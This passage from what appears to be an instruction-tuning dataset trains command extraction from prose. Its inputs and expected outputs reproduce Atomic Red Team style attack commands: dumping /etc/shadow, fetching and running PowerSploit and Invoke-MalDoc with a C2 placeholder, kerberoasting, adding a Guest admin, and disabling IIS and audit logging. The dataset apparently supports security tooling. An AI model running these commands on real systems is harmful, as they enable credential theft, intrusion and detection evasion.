structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can extract password files including /etc/passwd and /etc/shadow (plus /etc/master.passwd on FreeBSD systems) by running this command:\ntestcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }\n[ \"$(uname)\" = 'FreeBSD' ] && testcat /etc/master.passwd\ntestcat /etc/passwd\ntestcat /etc/shadow\n; For disabling HTTP logging on an IIS server similar to Bronze Union's methods, execute this command: C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:true. The operation requires HTTP logging configurations to be unlocked beforehand.",
    "output": "{\"command_list\": [\"testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }\\n[ \\\"$(uname)\\\" = 'FreeBSD' ] && testcat /etc/master.passwd\\ntestcat /etc/passwd\\ntestcat /etc/shadow\\n\", \"C:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe set config \\\"#{website_name}\\\" /section:httplogging /dontLog:true\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system time can be displayed by executing this command in PowerShell: Get-Date; To check the current system time and timezone, run the following command: date",
    "output": "{\"command_list\": [\"Get-Date\\n\", \"date\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For shutting down a Windows system, run the command: shutdown /s /t #{timeout}; A system restart can be initiated by executing this command: shutdown /r /t #{timeout}",
    "output": "{\"command_list\": [\"shutdown /s /t #{timeout}\\n\", \"shutdown /r /t #{timeout}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To briefly run the DirLister executable before terminating it, use the following command:\nStart-Process \"#{dirlister_path}\"\nStart-Sleep -Second 4\nStop-Process -Name \"DirLister\"\n; The following commands will activate the Default Guest account, grant administrative and remote desktop privileges, and configure the system to permit multiple RDP sessions: net user #{guest_user} /active:yes\nnet user #{guest_user} #{guest_password}\nnet localgroup #{local_admin_group} #{guest_user} /add\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /add\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f",
    "output": "{\"command_list\": [\"Start-Process \\\"#{dirlister_path}\\\"\\nStart-Sleep -Second 4\\nStop-Process -Name \\\"DirLister\\\"\\n\", \"net user #{guest_user} /active:yes\\nnet user #{guest_user} #{guest_password}\\nnet localgroup #{local_admin_group} #{guest_user} /add\\nnet localgroup \\\"#{remote_desktop_users_group_name}\\\" #{guest_user} /add\\nreg add \\\"hklm\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\\nreg add \\\"hklm\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"AllowTSConnections\\\" /t REG_DWORD /d 0x1 /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For information about Rubeus and its creators, visit https://github.com/GhostPack/Rubeus#asreproast. This build targets .NET 4.5, but you'll need to compile Rubeus if targeting a different version. Execute this command to perform kerberoasting: klist purge\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" kerberoast #{flags} /outfile:\"#{local_folder}\\#{out_file}\"\n; During a Kerberos attack, you can retrieve all SPNs for the target domain by executing this command: setspn -T #{domain_name} -Q */*",
    "output": "{\"command_list\": [\"klist purge\\ncmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" kerberoast #{flags} /outfile:\\\"#{local_folder}\\\\#{out_file}\\\"\\n\", \"setspn -T #{domain_name} -Q */*\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Verify your anti-PUA protection by downloading and running a test file with the command: Invoke-WebRequest #{pua_url} -OutFile #{pua_file}\n& \"#{pua_file}\"; The execution flow involves loading VBA code into Office documents via [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1), with the following PowerShell command handling the download operation:\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macroCode = Get-Content \"#{macro_path}\" -Raw\n$URL = \"#{c2_domain}\" + \"/\" + \"#{c2_parent_directory}\"\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \"#{file_name}\"\nInvoke-MalDoc -macroCode $macroCode -officeProduct \"#{ms_product}\"",
    "output": "{\"command_list\": [\"Invoke-WebRequest #{pua_url} -OutFile #{pua_file}\\n& \\\"#{pua_file}\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macroCode = Get-Content \\\"#{macro_path}\\\" -Raw\\n$URL = \\\"#{c2_domain}\\\" + \\\"/\\\" + \\\"#{c2_parent_directory}\\\"\\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \\\"#{file_name}\\\"\\nInvoke-MalDoc -macroCode $macroCode -officeProduct \\\"#{ms_product}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An Event Hub, used for processing large volumes of events, can be deleted by an adversary to avoid detection. This can be done using the command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-AzureAD -Credential $creds\nRemove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}; To disable mailbox audit logging, you'll need to use the Exchange Management Shell with the following command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nSet-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False\n",
    "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-AzureAD -Credential $creds\\nRemove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}\\n\", \"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nSet-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: 